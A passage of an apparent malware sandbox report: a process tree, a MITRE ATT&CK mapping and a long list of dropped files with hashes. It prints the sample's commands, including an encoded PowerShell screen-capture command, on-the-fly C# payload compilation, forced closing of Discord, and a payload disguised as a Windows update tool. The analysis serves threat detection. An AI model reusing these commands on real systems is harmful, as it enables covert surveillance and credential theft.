                          powershell -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKACQAYgBvAHUAbgBkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAHkAcwB0AGUAbQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AXQA6ADoAVgBpAHIAdAB1AGEAbABTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0AAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBYACwAIAAkAGIAbwB1AG4AZABzAC4AWQAsACAAMAAsACAAMAAsACAAJABiAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAYwByAGUAZQBuAHMAaABvAHQAXwAxADcAOAAwADMAMAA4ADcAOQA1ADkAMQA0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEQAaQBzAHAAbwBzAGUAKAApAAoAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoAIgBPAEsAIgA=
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4720
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\bk_EBQZBrp3.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\bk_KJh3fn81.cs""
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4952
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\bk_EBQZBrp3.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\bk_KJh3fn81.cs"
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4480
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9798.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6683CBD8C6AC4A289193E940C8BC94EB.TMP"
                            5⤵
                              PID:3456
                        • C:\Users\Admin\AppData\Local\Temp\bk_EBQZBrp3.exe
                          C:\Users\Admin\AppData\Local\Temp\bk_EBQZBrp3.exe
                          3⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1836
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\r_dehDp57e.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\r_heNgHovv.cs""
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3664
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\r_dehDp57e.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\r_heNgHovv.cs"
                            4⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3060
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC697.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6ABFDA0162004052B3145F1447A96221.TMP"
                              5⤵
                                PID:584
                          • C:\Users\Admin\AppData\Local\Temp\r_dehDp57e.exe
                            C:\Users\Admin\AppData\Local\Temp\r_dehDp57e.exe
                            3⤵
                            • Executes dropped EXE
                            PID:3432
                            • C:\Windows\System32\svchost.exe
                              C:\\Windows\\System32\\svchost.exe
                              4⤵
                                PID:4472
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im discord.exe"
                              3⤵
                                PID:892
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /f /im discord.exe
                                  4⤵
                                  • Kills process with taskkill
                                  PID:2164
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im discordcanary.exe"
                                3⤵
                                  PID:3184
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /f /im discordcanary.exe
                                    4⤵
                                    • Kills process with taskkill
                                    PID:3968
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im discordptb.exe"
                                  3⤵
                                    PID:2276
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /im discordptb.exe
                                      4⤵
                                      • Kills process with taskkill
                                      PID:4540
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im discorddevelopment.exe"
                                    3⤵
                                      PID:1836
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /f /im discorddevelopment.exe
                                        4⤵
                                        • Kills process with taskkill
                                        PID:584
                                    • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                                      "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1800,i,11862017158714063402,11459643881520108095,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:3152

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Reconnaissance

                                      Resource Development

                                      Initial Access

                                      Execution

                                      Command and Scripting Interpreter

                                      1
                                      T1059

                                      PowerShell

                                      1
                                      T1059.001

                                      Persistence

                                      Create or Modify System Process

                                      3
                                      T1543

                                      Windows Service

                                      3
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Netsh Helper DLL

                                      1
                                      T1546.007

                                      Privilege Escalation

                                      Create or Modify System Process

                                      3
                                      T1543

                                      Windows Service

                                      3
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Netsh Helper DLL

                                      1
                                      T1546.007

                                      Defense Evasion

                                      Impair Defenses

                                      4
                                      T1562

                                      Disable or Modify System Firewall

                                      1
                                      T1562.004

                                      Disable or Modify Tools

                                      3
                                      T1562.001

                                      Modify Registry

                                      3
                                      T1112

                                      Obfuscated Files or Information

                                      1
                                      T1027

                                      Command Obfuscation

                                      1
                                      T1027.010

                                      Credential Access

                                      Credentials from Password Stores

                                      1
                                      T1555

                                      Credentials from Web Browsers

                                      1
                                      T1555.003

                                      Unsecured Credentials

                                      1
                                      T1552

                                      Credentials In Files

                                      1
                                      T1552.001

                                      Discovery

                                      Peripheral Device Discovery

                                      1
                                      T1120

                                      Query Registry

                                      2
                                      T1012

                                      System Information Discovery

                                      3
                                      T1082

                                      System Location Discovery

                                      1
                                      T1614

                                      System Language Discovery

                                      1
                                      T1614.001

                                      Lateral Movement

                                      Collection

                                      Data from Local System

                                      1
                                      T1005

                                      Command and Control

                                      Web Service

                                      1
                                      T1102

                                      Exfiltration

                                      Impact

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      chrome_100_percent.pak
                                      • Path C:\ProgramData\WindowsUpdate\Launcher\chrome_100_percent.pak
                                      • Size 126KB
                                      • SHA256 2caa1da9b6a6e87bdb673977fee5dd771591a1b6ed5d3c5f14b024130a5d1a59
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      bk_EBQZBrp3.exe.log
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\bk_EBQZBrp3.exe.log
                                      • Size 226B
                                      • SHA256 3063de3898a9b34e19f8cf0beeec2b8bd6bd05896b52abd73f4703d07b8a7cd4
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      59bf3b6c-5a32-4083-9b12-c22ea04daf41.tmp.node
                                      • Path C:\Users\Admin\AppData\Local\Temp\59bf3b6c-5a32-4083-9b12-c22ea04daf41.tmp.node
                                      • Size 137KB
                                      • SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      RES75C7.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES75C7.tmp
                                      • Size 1KB
                                      • SHA256 8fe3c5f0d874c991b229c23738aeea36a3b2ec992498320abdad3be73844a8d8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      RES779C.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES779C.tmp
                                      • Size 1KB
                                      • SHA256 999b031f9a88ee5722cc0e8fb8e287272f6db470c7621c596bafd783d7e5bbe8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      RES83D1.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES83D1.tmp
                                      • Size 1KB
                                      • SHA256 de9bc428e996d7011a41794a0bd6cd57d8ca313516f70e6e28b1ce1701203cbb
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      RES85F4.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES85F4.tmp
                                      • Size 1KB
                                      • SHA256 9394f953e777fe367fc5e5acfd4469342d249244677aa9301823f89da94927e1
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      RES8846.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES8846.tmp
                                      • Size 1KB
                                      • SHA256 94021b695834445d275ef5fa9c8af32feeff4bd6ec05527673660a678b766752
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      RES8894.tmp
                                      • Path C:\Users\Admin\AppData\Local\Temp\RES8894.tmp
                                      • Size 1KB
                                      • SHA256 ab979ebb8caaac1b899a4cb8d5bce9ae5de3a4bab2a746aa958058044ad84354
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      __PSScriptPolicyTest_nvuape4g.2nh.ps1
                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nvuape4g.2nh.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      a_35a9989e.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe
                                      • Size 4KB
                                      • SHA256 6748d94ae8223d4eca3a41b4670072a65f7abc0b3ffca3990ef0b77a2741b3cd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      d_3de36092.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe
                                      • Size 6KB
                                      • SHA256 e0b20071d8c8bd354a1098418752afb5be9d37092a503c988f7c975275e95806
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      dd2cooos.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\dd2cooos\dd2cooos.dll
                                      • Size 3KB
                                      • SHA256 32a56a409281bd49333c3933418cff300444128b0184ba7df3221d5e7a86fb3a
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      e_73486086.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\e_73486086.exe
                                      • Size 4KB
                                      • SHA256 892c482a3466137a67ddf3fd822665f0187492b23cdf160f15ec7206c9cac24e
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      h_e50698c3.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\h_e50698c3.exe
                                      • Size 4KB
                                      • SHA256 289691b756053629ead7693a62fdbdc6632b62bf8868e6d96531bd2de1047c71
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      i_8357e5e2.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.exe
                                      • Size 5KB
                                      • SHA256 9e50a3f3870381c167efe5ce23987756bb289ff2be7489a7ae8ba11b909e9135
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      loader_1780308793133.ps1
                                      • Path C:\Users\Admin\AppData\Local\Temp\loader_1780308793133.ps1
                                      • Size 12KB
                                      • SHA256 444f9cc1e0b8269c900fa104207392e1510eac4285b1050dc13ed13b615fead4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      LICENSE.electron.txt
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\LICENSE.electron.txt
                                      • Size 1KB
                                      • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      LICENSES.chromium.html
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\LICENSES.chromium.html
                                      • Size 6.5MB
                                      • SHA256 0bfa9a636e722107b6192ff35c365d963a54e1de8a09c8157680e8d0fbbfba1c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      chrome_200_percent.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\chrome_200_percent.pak
                                      • Size 175KB
                                      • SHA256 07bee34e189fe9a8789aed78ea59ad41414b6e611e7d74da62f8e6ca36af01ce
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      d3dcompiler_47.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\d3dcompiler_47.dll
                                      • Size 4.7MB
                                      • SHA256 5653bc7b0e2701561464ef36602ff6171c96bffe96e4c3597359cd7addcba88a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ffmpeg.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\ffmpeg.dll
                                      • Size 2.7MB
                                      • SHA256 f11576bf7ffbc3669d1a5364378f35a1ed0811b7831528b6c4c55b0cdc7dc014
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      icudtl.dat
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\icudtl.dat
                                      • Size 10.1MB
                                      • SHA256 7c8c7b05d70145120b45ccb64bf75bee3c63ff213e3e64d092d500a96afb8050
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      libEGL.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\libEGL.dll
                                      • Size 468KB
                                      • SHA256 d2107ba0f4e28e35b22837c3982e53784d15348795b399ad6292d0f727986577
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      libGLESv2.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\libGLESv2.dll
                                      • Size 7.2MB
                                      • SHA256 50c4dc73d69b6c0189eab56d27470ee15f99bbbc12bfd87ebe9963a7f9ba404e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      af.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\af.pak
                                      • Size 353KB
                                      • SHA256 0ad547bb1dc57907adeb02e1be3017cce78f6e60b8b39395fe0e8b62285797a1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      am.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\am.pak
                                      • Size 569KB
                                      • SHA256 fa1e44215bd5acc7342c431a3b1fddb6e8b6b02220b4599167f7d77a29f54450
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ar.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ar.pak
                                      • Size 624KB
                                      • SHA256 a62b848a002474a8ea37891e148cbaf4af09bdba7dafebdc0770c9a9651f7e3b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      bg.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\bg.pak
                                      • Size 652KB
                                      • SHA256 898621731ac3471a41f8b3a7bf52e7f776e8928652b37154bc7c1299f1fd92e1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      bn.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\bn.pak
                                      • Size 838KB
                                      • SHA256 1ea245646a4b4386606f03c8a3916a3607e2adbbc88f000976be36db410a1e39
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ca.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ca.pak
                                      • Size 400KB
                                      • SHA256 56efff228ee3e112357d6121b2256a2c3acd718769c89413de82c9d4305459c6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      cs.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\cs.pak
                                      • Size 409KB
                                      • SHA256 de92f14480770401e39e22dcf3dd36de5ad3ed22e44584c31c37cd99e71c4a43
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      da.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\da.pak
                                      • Size 371KB
                                      • SHA256 d8da7ab28992c8299484bc116641e19b448c20adf6a8b187383e2dba5cd29a0b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      de.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\de.pak
                                      • Size 397KB
                                      • SHA256 7cc213e2c9a2d2e2e463083dd030b86da6bba545d5cee4c04df8f80f9a01a641
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      el.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\el.pak
                                      • Size 712KB
                                      • SHA256 21d1d273124648a435674c7877a98110d997cf6992469c431fe502bbcc02641f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      en-GB.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\en-GB.pak
                                      • Size 324KB
                                      • SHA256 e11e8db78ae12f8d735632ba9fd078ec66c83529cb1fd86a31ab401f6f833c16
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      en-US.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\en-US.pak
                                      • Size 326KB
                                      • SHA256 1d20e626444759c2b72aa6e998f14a032408d2b32f957c12ec3abd52831338fb
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      es-419.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\es-419.pak
                                      • Size 395KB
                                      • SHA256 7f85673cf80d1e80acfc94fb7568a8c63de79a13a1bb6b9d825b7e9f338ef17c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      es.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\es.pak
                                      • Size 394KB
                                      • SHA256 7fa148369c64bc59c2832d617357879b095357fe970bab9e0042175c9ba7cb03
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      et.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\et.pak
                                      • Size 356KB
                                      • SHA256 d69489a723b304e305cb1767e6c8da5d5d1d237e50f6ddc76e941dcb01684944
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fa.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\fa.pak
                                      • Size 577KB
                                      • SHA256 b9ee861e1bdecffe6a197067905279ea77c180844a793f882c42f2b70541e25e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\fi.pak
                                      • Size 365KB
                                      • SHA256 2d337924139ffe77804d2742eda8e58d4e548e65349f827840368e43d567810b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fil.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\fil.pak
                                      • Size 410KB
                                      • SHA256 db4a63fa0d5b2baba71d4ba0923caed540099db6b1d024a0d48c3be10c9eed5a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      fr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\fr.pak
                                      • Size 426KB
                                      • SHA256 1923e0edf1ef6935a4a718e3e2fc9a0a541ea0b4f3b27553802308f9fd4fc807
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      gu.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\gu.pak
                                      • Size 813KB
                                      • SHA256 e40ee4f24839f9e20b48d057bf3216bc58542c2e27cb40b9d2f3f8a1ea5bfbb4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      he.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\he.pak
                                      • Size 507KB
                                      • SHA256 15951767dafa7bdbedac803d842686820de9c6df478416f34c476209b19d2d8c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\hi.pak
                                      • Size 848KB
                                      • SHA256 b1c7fb6909c8a416b513d6de21eea0b5a6b13c7f0a94cabd0d9154b5834a5e8b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\hr.pak
                                      • Size 397KB
                                      • SHA256 4df972b7f6d81aa7bdc39e2441310a37f746ae5015146b4e434a878d1244375b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      hu.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\hu.pak
                                      • Size 427KB
                                      • SHA256 b59f932df822ab1a87e8aab4bbb7c549db15899f259f4c50ae28f8d8c7ce1e72
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      id.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\id.pak
                                      • Size 350KB
                                      • SHA256 7fd715914e3b0cf2048d4429f3236e0660d5bd5e61623c8fef9b8e474c2ac313
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      it.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\it.pak
                                      • Size 388KB
                                      • SHA256 10e65f42ce01ba19ebf4b074e8b2456213234482eadf443dfad6105faf6cde4c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ja.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ja.pak
                                      • Size 472KB
                                      • SHA256 d8fab5714dafecb89b3e5fce4c4d75d2b72893e685e148e9b60f7c096e5b3337
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      kn.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\kn.pak
                                      • Size 938KB
                                      • SHA256 7a34483e6272f9b8881f0f5a725b477540166561c75b9e7ab627815d4be1a8a4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ko.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ko.pak
                                      • Size 398KB
                                      • SHA256 1a5884bd6665b2f404b7328de013522ee7c41130e57a53038fc991ec38290d21
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      lt.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\lt.pak
                                      • Size 429KB
                                      • SHA256 8a5d6e29833374e0f74fd7070c1b20856cb6b42ed30d18a5f17e6c2e4a8d783e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      lv.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\lv.pak
                                      • Size 427KB
                                      • SHA256 a1a9d84fd3af571a57be8b1a9189d40b836808998e00ec9bd15557b83d0e3086
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ml.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ml.pak
                                      • Size 974KB
                                      • SHA256 66005bc01175a4f6560d1e9768dbc72b46a4198f8e435250c8ebc232d2dac108
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      mr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\mr.pak
                                      • Size 797KB
                                      • SHA256 23058c0f71d9e40f927775d980524d866f70322e0ef215aa5748c239707451e7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ms.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ms.pak
                                      • Size 365KB
                                      • SHA256 c6471aee5f34f31477d57f593b09cb1de87f5fd0f9b5e63d8bab4986cf10d939
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nb.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\nb.pak
                                      • Size 358KB
                                      • SHA256 4f44789a2c38edc396a31aba5cc09d20fb84cd1e06f70c49f0664289c33cd261
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\nl.pak
                                      • Size 370KB
                                      • SHA256 be254bcda4dbe167cb2e57402a4a0a814d591807c675302d2ce286013b40799b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\pl.pak
                                      • Size 412KB
                                      • SHA256 2593c8b59849fbc690cbd513f06685ea3292cd0187fcf6b9069cbf3c9b0e8a85
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pt-BR.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\pt-BR.pak
                                      • Size 389KB
